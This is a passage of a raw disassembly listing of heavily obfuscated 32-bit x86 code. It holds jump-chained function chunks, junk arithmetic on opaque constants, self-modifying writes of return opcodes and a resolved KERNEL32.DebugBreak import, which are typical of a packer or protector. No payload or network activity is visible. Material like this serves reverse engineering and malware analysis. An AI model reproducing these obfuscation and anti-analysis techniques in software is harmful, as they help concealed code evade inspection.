; ---------------------------------------------------------------------------


loc_75721F:				; CODE XREF: _0z4jwtox:00751EBCj
		retn
; ---------------------------------------------------------------------------


loc_757220:				; CODE XREF: _0z4jwtox:00750FEAj
		jmp	loc_74F704
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749B76


loc_757225:				; CODE XREF: sub_749B76:loc_7552C5j
		mov	eax, [ebp-4]
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, [ebp-8]
		push	offset sub_74D0A9
		jmp	nullsub_236
; END OF FUNCTION CHUNK	FOR sub_749B76
; ---------------------------------------------------------------------------
		pop	ebp
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CBE6


loc_75723B:				; CODE XREF: sub_752520:loc_748ADCj
					; sub_74CBE6+Ej
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-0Ch], 4
		jnz	loc_75376F
		add	dword ptr [ebp-8], 4
		jmp	loc_74CBFD
; END OF FUNCTION CHUNK	FOR sub_74CBE6

; =============== S U B	R O U T	I N E =======================================



sub_757251	proc near		; CODE XREF: _0z4jwtox:0074E9B0j
					; sub_74F3C6+4933p
		xchg	edx, [esp+0]
		pop	edx
		add	edx, ebp
		add	edx, 2874DB9Ah
		mov	edx, [edx]
		push	offset sub_747258
		jmp	loc_748A6D
sub_757251	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_757269	proc near		; CODE XREF: sub_74946E-3CF3j
		retn
sub_757269	endp

; ---------------------------------------------------------------------------


loc_75726A:				; CODE XREF: _0z4jwtox:00750826j
		jmp	loc_74BEE8
; ---------------------------------------------------------------------------


loc_75726F:				; CODE XREF: _0z4jwtox:loc_749910j
		jnz	loc_74C743
		adc	ebp, edi
		sub	ecx, 0D05D22BAh
		jmp	loc_74C73F
; ---------------------------------------------------------------------------
		push	1B08660Fh
		jmp	loc_7463AD
; ---------------------------------------------------------------------------


loc_75728C:				; CODE XREF: _0z4jwtox:007511C4j
		jnz	loc_748AE7
		jmp	loc_749876
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_27. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AE67


loc_757298:				; CODE XREF: sub_74AE67:loc_74D64Cj
		jmp	loc_752005
; END OF FUNCTION CHUNK	FOR sub_74AE67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C2C9


loc_75729D:				; CODE XREF: sub_74C2C9-54A1j
		jmp	nullsub_237
; END OF FUNCTION CHUNK	FOR sub_74C2C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_7572A2:				; CODE XREF: sub_747C22:loc_74F683j
		mov	[ebp-18h], eax
		mov	eax, [ebp-4]
		mov	eax, [eax+4]
		test	eax, eax
		jle	loc_74B7FA
		jmp	loc_749375
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------


loc_7572B8:				; CODE XREF: _0z4jwtox:00755BA4j
		jge	loc_75136A
		jns	loc_7502BE

; =============== S U B	R O U T	I N E =======================================



sub_7572C4	proc near		; CODE XREF: sub_748C3B+BF0Ap
		xchg	edx, [esp+0]
		pop	edx
		jmp	loc_756780
sub_7572C4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_7572CD:				; CODE XREF: _0z4jwtox:0074B61Cj
		add	eax, 0A1C817ACh

; =============== S U B	R O U T	I N E =======================================



sub_7572D3	proc near		; CODE XREF: sub_74A094:loc_752D0Bp

; FUNCTION CHUNK AT 007563C8 SIZE 00000024 BYTES

		xchg	edx, [esp+0]
		pop	edx
		lea	eax, [ebp-125h]
		jmp	loc_7563C8
sub_7572D3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jno	loc_74FF7D
		jmp	loc_746B7A
; ---------------------------------------------------------------------------


loc_7572ED:				; CODE XREF: _0z4jwtox:00746E7Cj
		jo	loc_7481F1

; =============== S U B	R O U T	I N E =======================================



sub_7572F3	proc near		; CODE XREF: sub_74E6F5+Ap

; FUNCTION CHUNK AT 007461C6 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0074693A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00749D2A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074A398 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0074D40E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00750BB1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007546F3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00755ADF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00755C0B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00755FFA SIZE 0000000A BYTES

		xchg	eax, [esp+0]
		pop	eax
		jb	loc_755FFA
		call	sub_74E693


loc_757302:				; CODE XREF: sub_74E685-8641j
		jmp	loc_755ADF
sub_7572F3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E762


loc_757307:				; CODE XREF: sub_74E762:loc_748646j
		mov	edx, [ecx]
		ja	sub_74F15D
		jmp	loc_74926F
; END OF FUNCTION CHUNK	FOR sub_74E762

; =============== S U B	R O U T	I N E =======================================



sub_757314	proc near		; DATA XREF: sub_74A657+18o

; FUNCTION CHUNK AT 00745F88 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007481A8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0074B94C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074D511 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0074E816 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074FA10 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00750D83 SIZE 00000014 BYTES

		add	eax, 3DABBF10h
		add	eax, ebp
		add	eax, 0D7044249h
		mov	eax, [eax]
		pushf
		push	0AEF422CEh
		pop	ecx
		add	ecx, 7FC9B364h
		jmp	loc_74B94C
sub_757314	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C670


loc_757336:				; CODE XREF: sub_74C670:loc_74E8BBj
		add	eax, 5C86C4E0h
		add	eax, ebp
		add	eax, 7364BB04h
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_755BFE
		jmp	loc_74D185
; END OF FUNCTION CHUNK	FOR sub_74C670
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748B44


loc_757354:				; CODE XREF: sub_748B44+3DDFj
		shr	ebp, 0Ch


loc_757357:				; CODE XREF: sub_748B44:loc_7537C2j
		push	642592E4h
		pop	eax
		xor	eax, 8E9BA3C0h
		sub	eax, 81BAF86Ch
		and	eax, 51201387h
		add	eax, 2DDDA2C9h
		jmp	loc_74933F
; END OF FUNCTION CHUNK	FOR sub_748B44
; ---------------------------------------------------------------------------
		xor	ebx, 0DE2F8499h
		add	ebx, 89F67BF5h
		xor	eax, ebx
		pop	ebx
		add	eax, 31533C2Bh
		xor	eax, 1D5DFA5Fh
		jmp	loc_75001C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75712E


loc_75739A:				; CODE XREF: sub_75712E-9537j
		sub	esi, 0A6FF13D6h
		xor	ebp, ecx
		not	ebx
; END OF FUNCTION CHUNK	FOR sub_75712E
; START	OF FUNCTION CHUNK FOR sub_74C8DA


loc_7573A4:				; CODE XREF: sub_75712E:loc_7453A2j
					; sub_74C8DA-81Fj ...
		jmp	loc_74B52B
; ---------------------------------------------------------------------------


loc_7573A9:				; CODE XREF: sub_74C8DA+3868j
					; sub_752A54+6j
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_74C8DA
; ---------------------------------------------------------------------------


loc_7573AC:				; CODE XREF: _0z4jwtox:00747364j
		jmp	loc_754996
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752D11


loc_7573B1:				; CODE XREF: sub_752D11-1F77j
		xchg	eax, [ecx]


loc_7573B3:				; CODE XREF: sub_752D11:loc_746EFBj
		mov	eax, [ebp-4]
		add	eax, 3Ch
		mov	eax, [eax]
		push	offset loc_74D9ED
		jmp	nullsub_239
; END OF FUNCTION CHUNK	FOR sub_752D11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AD56


loc_7573C5:				; CODE XREF: sub_74AD56+Cj
		push	offset sub_755892
		jmp	loc_74FD25
; END OF FUNCTION CHUNK	FOR sub_74AD56
; ---------------------------------------------------------------------------
		call	sub_748CFC
; START	OF FUNCTION CHUNK FOR sub_7557E7


loc_7573D4:				; CODE XREF: sub_7557E7:loc_74D36Cj
		test	eax, 800000h
		jmp	loc_748BAE
; END OF FUNCTION CHUNK	FOR sub_7557E7
; ---------------------------------------------------------------------------
		pushf
		jmp	loc_7565ED
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_59. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CBB7


loc_7573E6:				; CODE XREF: sub_74CBB7+76FCj
		jmp	loc_75259E
; END OF FUNCTION CHUNK	FOR sub_74CBB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B1F9


loc_7573EB:				; CODE XREF: sub_74B1F9+8DC6j
		jmp	nullsub_280
; END OF FUNCTION CHUNK	FOR sub_74B1F9
; ---------------------------------------------------------------------------


loc_7573F0:				; DATA XREF: sub_747AEC+1DE0o
		add	ebx, 965D8F35h
		popf
		call	sub_7469BF
; START	OF FUNCTION CHUNK FOR sub_74E3F7


loc_7573FC:				; CODE XREF: sub_74E3F7+Ej
		jmp	loc_7503B1
; END OF FUNCTION CHUNK	FOR sub_74E3F7
; ---------------------------------------------------------------------------
		add	edx, 0B22E5F48h
		jmp	sub_7514AC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_118. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_75740D	proc near		; CODE XREF: _0z4jwtox:loc_746A92p
					; sub_74F69D-5D41p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00750A30 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00752452 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, edx
		jmp	loc_750A30
sub_75740D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BFE0


loc_757418:				; CODE XREF: sub_74BFE0+62E2j
		call	sub_748FA4
; END OF FUNCTION CHUNK	FOR sub_74BFE0
; START	OF FUNCTION CHUNK FOR sub_747290


loc_75741D:				; CODE XREF: sub_747290+1j
		jmp	loc_74D141
; END OF FUNCTION CHUNK	FOR sub_747290
; ---------------------------------------------------------------------------
		rol	ecx, 5
		ror	esi, 4
		jmp	sub_748A22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750291


loc_75742D:				; CODE XREF: sub_750291:loc_74C407j
		jl	loc_754548


loc_757433:				; CODE XREF: _0z4jwtox:00754125j
		jmp	sub_745A78
; END OF FUNCTION CHUNK	FOR sub_750291
; ---------------------------------------------------------------------------
		pop	ebx
		rol	esi, 19h
		or	edi, 8F60D084h


loc_757442:				; CODE XREF: _0z4jwtox:loc_74EEDCj
		and	ebx, eax
		jmp	loc_754548
; ---------------------------------------------------------------------------
		sub	esi, 3C93CCAAh
		jmp	sub_749576
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7473D1


loc_757454:				; CODE XREF: sub_7473D1+D6F6j
		jge	loc_7451AF


loc_75745A:				; CODE XREF: sub_74DF5E-7000j
		jmp	loc_74F043
; END OF FUNCTION CHUNK	FOR sub_7473D1
; ---------------------------------------------------------------------------
		jg	loc_74C039
		cmp	edx, 0AD17F0DBh
		jmp	loc_754873
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746C5E


loc_757470:				; CODE XREF: sub_746C5E+5B20j
		jz	loc_74C6D4
		jmp	loc_7451BC
; END OF FUNCTION CHUNK	FOR sub_746C5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749B76


loc_75747B:				; CODE XREF: sub_749B76:loc_745430j
		mov	eax, [ebp-4]
		call	sub_7497F9


loc_757483:				; CODE XREF: sub_7515AA+5894j
		jmp	loc_752AAF
; END OF FUNCTION CHUNK	FOR sub_749B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_757488:				; CODE XREF: sub_747AEC-194Aj
		jmp	loc_754E32
; END OF FUNCTION CHUNK	FOR sub_747AEC
; ---------------------------------------------------------------------------


loc_75748D:				; CODE XREF: _0z4jwtox:007459ADj
		jmp	sub_756FF2
; ---------------------------------------------------------------------------


loc_757492:				; CODE XREF: _0z4jwtox:00750FF7j
		jnb	loc_756277

; =============== S U B	R O U T	I N E =======================================



sub_757498	proc near		; CODE XREF: sub_74A83D+8p

; FUNCTION CHUNK AT 0074981A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074E0B1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00753700 SIZE 00000011 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	0B9D5262Ch
		xchg	edx, [esp+0]
		mov	eax, edx
		pop	edx
		sub	eax, 32D0586Ch


loc_7574AD:				; CODE XREF: _0z4jwtox:loc_7508BEj
		jmp	loc_74E0B1
sub_757498	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_73. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_7574B3:				; CODE XREF: _0z4jwtox:0074563Fj
		jmp	loc_753727
; ---------------------------------------------------------------------------
		mov	eax, 0D1CB0F56h
		push	esi
		call	sub_750F63
; START	OF FUNCTION CHUNK FOR sub_7561AB


loc_7574C3:				; CODE XREF: sub_7561AB-2225j
		jmp	loc_750CF9
; END OF FUNCTION CHUNK	FOR sub_7561AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F615


loc_7574C8:				; CODE XREF: sub_74F615-1533j
		jmp	loc_74AA6C
; END OF FUNCTION CHUNK	FOR sub_74F615
; ---------------------------------------------------------------------------
		push	ecx
		jmp	sub_74890C
; ---------------------------------------------------------------------------


loc_7574D3:				; DATA XREF: sub_75038Bo
		call	sub_7574E3
		jmp	ds:off_41F134
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7462C2


loc_7574DE:				; CODE XREF: sub_7462C2:loc_74C219j
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_7462C2

; =============== S U B	R O U T	I N E =======================================



sub_7574E3	proc near		; CODE XREF: _0z4jwtox:loc_748F50j
					; _0z4jwtox:0074D2BAj ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0074A503 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074BC43 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0074D2BF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0074DFFF SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0074F29A SIZE 00000005 BYTES

		jno	loc_74D2BF
		pop	edx
		jmp	loc_74A503
sub_7574E3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sub	ebp, edx
		jge	loc_755753
		jmp	sub_7471C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A47B


loc_7574FC:				; CODE XREF: sub_74A47B+Ej
		mov	ebx, eax
		pop	eax
		rol	ebx, 16h
		and	ebx, 2E58C515h
		jns	loc_75068A


loc_75750E:				; CODE XREF: sub_74A71A-173Ej
		jmp	loc_749F9A
; END OF FUNCTION CHUNK	FOR sub_74A47B
; ---------------------------------------------------------------------------


loc_757513:				; CODE XREF: _0z4jwtox:00748185j
		jmp	loc_752445
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753DDE


loc_757518:				; CODE XREF: _0z4jwtox:loc_7462ABj
					; sub_753DDE+17j
		xor	edi, 7B5336Bh
		push	offset sub_753F1A
		jmp	nullsub_248
; END OF FUNCTION CHUNK	FOR sub_753DDE

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_757528	proc near		; CODE XREF: sub_745A78:loc_74E142j
		retn
sub_757528	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B1F1


loc_757529:				; CODE XREF: sub_756826:loc_7450AAj
					; sub_74B1F1-189Bj
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_74B1F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_75752E:				; CODE XREF: sub_747C22-2ACAj
		jmp	loc_7488AD
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
		cmp	eax, 131EC58Ch
		jmp	loc_748E17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C670


loc_75753E:				; CODE XREF: sub_74C670+871Ej
		lea	eax, loc_75763E
		mov	byte ptr [eax],	0C3h
		jmp	loc_75763E
; END OF FUNCTION CHUNK	FOR sub_74C670
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748E1D


loc_75754C:				; CODE XREF: sub_748E1D+E822j
		call	sub_7557E7
; END OF FUNCTION CHUNK	FOR sub_748E1D
; START	OF FUNCTION CHUNK FOR sub_75422B


loc_757551:				; CODE XREF: sub_75422B+29j
		jmp	loc_74FCD5
; END OF FUNCTION CHUNK	FOR sub_75422B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755B5B


loc_757556:				; CODE XREF: sub_755B5B-1C1Bj
		jmp	loc_74E181
; END OF FUNCTION CHUNK	FOR sub_755B5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74DC58


loc_75755B:				; CODE XREF: sub_74DC58+18j
		jmp	loc_754F28
; END OF FUNCTION CHUNK	FOR sub_74DC58
; ---------------------------------------------------------------------------


loc_757560:				; CODE XREF: _0z4jwtox:00755242j
		push	edx
		and	ecx, ebx
; START	OF FUNCTION CHUNK FOR sub_75043C


loc_757563:				; CODE XREF: sub_75043C:loc_755230j
		add	esi, 0B261712Eh
		mov	[esi], eax
		xchg	eax, [esp-4+arg_0]
		push	offset sub_74EA60


loc_757573:				; DATA XREF: .data:off_42CB34o
		jmp	loc_746975
; END OF FUNCTION CHUNK	FOR sub_75043C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A96E


loc_757578:				; CODE XREF: sub_74A96E:loc_7486B1j
		mov	[edi], eax
		xchg	ecx, [esp+0]
		mov	edi, ecx
		pop	ecx
		pushf
		jmp	loc_749D08
; END OF FUNCTION CHUNK	FOR sub_74A96E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E451


loc_757586:				; CODE XREF: sub_74E451:loc_751F3Dj
		mov	eax, [eax-18h]
		and	eax, 7
		call	sub_751EFF


loc_757591:				; CODE XREF: _0z4jwtox:loc_746676j
		jmp	loc_755D3C
; END OF FUNCTION CHUNK	FOR sub_74E451
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_264. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752F76


loc_757597:				; CODE XREF: sub_752F76+3j
		jmp	loc_74B8F0
; END OF FUNCTION CHUNK	FOR sub_752F76
; ---------------------------------------------------------------------------

locret_75759C:				; CODE XREF: _0z4jwtox:0074A6F8j
					; _0z4jwtox:loc_750A8Cj
		retn
; ---------------------------------------------------------------------------


loc_75759D:				; CODE XREF: _0z4jwtox:0074B0FEj
		jmp	loc_746670
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748B7B


loc_7575A2:				; CODE XREF: sub_748B7B+9j
		jmp	loc_74B544
; END OF FUNCTION CHUNK	FOR sub_748B7B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752737


loc_7575A7:				; CODE XREF: sub_752737-855Fj
		popf
		or	ebp, 4E420385h
		sbb	ebp, ebx
		jmp	loc_74F6BA
; END OF FUNCTION CHUNK	FOR sub_752737
; ---------------------------------------------------------------------------
		db 66h,	0B8h, 0D7h
dword_7575B8	dd 7C859B72h	; resolved to->KERNEL32.DebugBreak					; sub_7570E0+13w
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7473D1


loc_7575BC:				; CODE XREF: sub_7473D1+85FDj
		jmp	locret_752D10
; END OF FUNCTION CHUNK	FOR sub_7473D1
; ---------------------------------------------------------------------------
		db 0B5h, 0D7h, 7Ah
dword_7575C4	dd 0							; sub_754FC6+Co ...
dword_7575C8	dd 7C800000h						; sub_74B74C+4w ...
dword_7575CC	dd 37932BB6h, 8C331B56h, 6CD823C5h					; sub_754FC6-8461o
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749306


loc_7575D9:				; CODE XREF: sub_749306:loc_7554A3j
					; sub_748C0D+E31Aj
		jmp	loc_753920
; END OF FUNCTION CHUNK	FOR sub_749306
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752D11


loc_7575DE:				; CODE XREF: sub_752D11-7C48j
		jmp	sub_754E36
; END OF FUNCTION CHUNK	FOR sub_752D11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7491FD


loc_7575E3:				; CODE XREF: sub_7491FD-2BEFj
		jmp	loc_74CC4B
; END OF FUNCTION CHUNK	FOR sub_7491FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C8DA


loc_7575E8:				; CODE XREF: sub_74C8DA+5C86j
		mov	[ebp-10h], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_75276D
		jmp	loc_74FFC5
; END OF FUNCTION CHUNK	FOR sub_74C8DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BFE0


loc_7575FA:				; CODE XREF: sub_74BFE0-A22j
		cmp	edx, eax
		jmp	loc_746282
; END OF FUNCTION CHUNK	FOR sub_74BFE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746C5E


loc_757601:				; CODE XREF: sub_746C5E+6F7Cj
		ror	eax, 1Dh
		push	edx
		push	2847148Ah
		pop	edx
		sub	edx, 0EC2EC206h
		and	edx, 0FAAD9778h
		sub	edx, 6A61CB36h
		add	edx, 0A6617537h
		jmp	loc_74B2A4
; END OF FUNCTION CHUNK	FOR sub_746C5E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_136. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_757629:				; CODE XREF: _0z4jwtox:0074E1FDj
		jmp	loc_74F02F
; ---------------------------------------------------------------------------


loc_75762E:				; CODE XREF: _0z4jwtox:loc_753AB7j
		and	esi, edx
		or	ebx, ecx
		pop	ebx
		jmp	loc_74AE56
; ---------------------------------------------------------------------------
		jmp	ds:off_41F1A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748E1D


loc_75763E:				; CODE XREF: sub_7557E7:loc_74C02Cj
					; sub_74C670+AED7j ...
		pop	edx
		jno	loc_75754C
		mov	eax, [esp-8+arg_4]
		push	esi
		jmp	loc_748FE1
; END OF FUNCTION CHUNK	FOR sub_748E1D
; ---------------------------------------------------------------------------
		mov	eax, 1F1D4A60h
		push	ebx
		mov	ebx, edx
		xchg	ebx, [esp]
		push	4418B4E8h
		jmp	loc_74CE7E
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	edx
		call	sub_74F7B1


loc_75766C:				; CODE XREF: _0z4jwtox:00746D59j
		jmp	loc_745000

; =============== S U B	R O U T	I N E =======================================



sub_757671	proc near		; CODE XREF: _0z4jwtox:00748B1Ap
					; _0z4jwtox:00753190j

arg_0		= dword	ptr  4

		xchg	eax, [esp+0]
		pop	eax
		xchg	ebx, [esp-4+arg_0]
		push	offset sub_7545E0
sub_757671	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_75767D:				; CODE XREF: sub_747AEC:loc_74B20Dj
		jmp	loc_74D00D
; END OF FUNCTION CHUNK	FOR sub_747AEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752FC5


loc_757682:				; CODE XREF: sub_752FC5+3732j
		call	sub_752BBF
; END OF FUNCTION CHUNK	FOR sub_752FC5
; START	OF FUNCTION CHUNK FOR sub_754CBF


loc_757687:				; CODE XREF: sub_754CBF-9E03j
					; sub_754A2Bj
		jnz	loc_750014
		xchg	ebx, [ebp+0]
		test	ecx, 56600E8Bh
		jmp	loc_75000B
; END OF FUNCTION CHUNK	FOR sub_754CBF
; ---------------------------------------------------------------------------


loc_75769B:				; CODE XREF: _0z4jwtox:00754216j
		sub	esi, 685B8C52h
		and	esi, 6C147E6Ah
		test	esi, 800000h
		jmp	loc_748217
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_138. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_7576B3:				; CODE XREF: _0z4jwtox:00751302j
		jmp	loc_747ED6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750B5C


loc_7576B8:				; CODE XREF: sub_750B5C+7j
		jmp	loc_753D9D
; END OF FUNCTION CHUNK	FOR sub_750B5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CF35


loc_7576BD:				; CODE XREF: _0z4jwtox:0074C5A9j
					; sub_74CF35:loc_750AB3j
		xor	edx, 43F7F508h
		add	edx, ebp
		add	edx, 38880B70h
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_7573A4
		jmp	loc_7529A6
; END OF FUNCTION CHUNK	FOR sub_74CF35
; ---------------------------------------------------------------------------


loc_7576DC:				; CODE XREF: _0z4jwtox:loc_7564CAj
		xchg	edx, [esp]
		jmp	sub_74B1F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748B52


loc_7576E4:				; CODE XREF: sub_748B52:loc_75604Aj
					; sub_748B52+D502j
		rol	ecx, 1
		add	ecx, 0EF2F710Bh
		mov	[ecx], eax
		pop	ecx
		lea	eax, nullsub_13


loc_7576F5:				; CODE XREF: _0z4jwtox:00746379j
		jmp	loc_74E3E8
; END OF FUNCTION CHUNK	FOR sub_748B52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748E1D


loc_7576FA:				; CODE XREF: sub_748E1D:loc_746A3Ej
		xor	ecx, 20C86EB9h
		sub	ecx, 94192FD3h
		add	ecx, 0A337C5FBh
		xchg	ecx, [esp+0]
		jmp	loc_75763E
; END OF FUNCTION CHUNK	FOR sub_748E1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B042


loc_757714:				; CODE XREF: sub_74B042+1Ej
		xor	eax, 5C285B5Bh
		sub	eax, 33DE59C8h
		add	eax, 0A02759C3h
		add	eax, ebp
		call	sub_74B928
; END OF FUNCTION CHUNK	FOR sub_74B042
; START	OF FUNCTION CHUNK FOR sub_74ECEF


loc_75772D:				; CODE XREF: sub_74ECEF+10B0j
					; _0z4jwtox:00750A97j
		jmp	loc_74AFEC
; END OF FUNCTION CHUNK	FOR sub_74ECEF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74DE55


loc_757732:				; CODE XREF: sub_74DE55+12j
		jmp	loc_748FC7
; END OF FUNCTION CHUNK	FOR sub_74DE55
; ---------------------------------------------------------------------------


loc_757737:				; CODE XREF: _0z4jwtox:00750369j
		mov	[eax], edi

; =============== S U B	R O U T	I N E =======================================



sub_757739	proc near		; CODE XREF: sub_748A22+4029p
		xchg	edx, [esp+0]
		pop	edx
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_74D586
		push	offset loc_74DD31
		jmp	loc_74A807
sub_757739	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_757754:				; CODE XREF: _0z4jwtox:loc_74CA91j
		jnz	loc_74639F


loc_75775A:				; CODE XREF: _0z4jwtox:0074E88Cj
		jmp	loc_74D98F
; ---------------------------------------------------------------------------
		pop	ebx
		jg	nullsub_210
		xor	edi, ecx
		jmp	loc_74C7CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C39


loc_75776D:				; CODE XREF: sub_747C39:loc_751E55j
		jz	loc_74E214
		jmp	loc_74CCAA
; END OF FUNCTION CHUNK	FOR sub_747C39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7543C5


loc_757778:				; CODE XREF: sub_7543C5:loc_7543D4j
		jz	loc_74F6F3
		jmp	loc_745ECD
; END OF FUNCTION CHUNK	FOR sub_7543C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_757783:				; CODE XREF: sub_74AAC1+5F4j
					; sub_74AAC1:loc_74E97Bj
		mov	eax, 0DD960900h
		call	sub_746E93
		xor	eax, 0B4CB980Fh
		push	ecx
		jmp	loc_750EFC
; END OF FUNCTION CHUNK	FOR sub_74AAC1

; =============== S U B	R O U T	I N E =======================================



sub_757799	proc near		; CODE XREF: _0z4jwtox:00749742p
					; _0z4jwtox:0074B68Fj

; FUNCTION CHUNK AT 0075449D SIZE 0000000B BYTES

		xchg	edi, [esp+0]
		pop	edi
		cmp	eax, ecx
		pop	ecx


loc_7577A0:				; CODE XREF: _0z4jwtox:loc_754677j
		jnz	loc_749C84
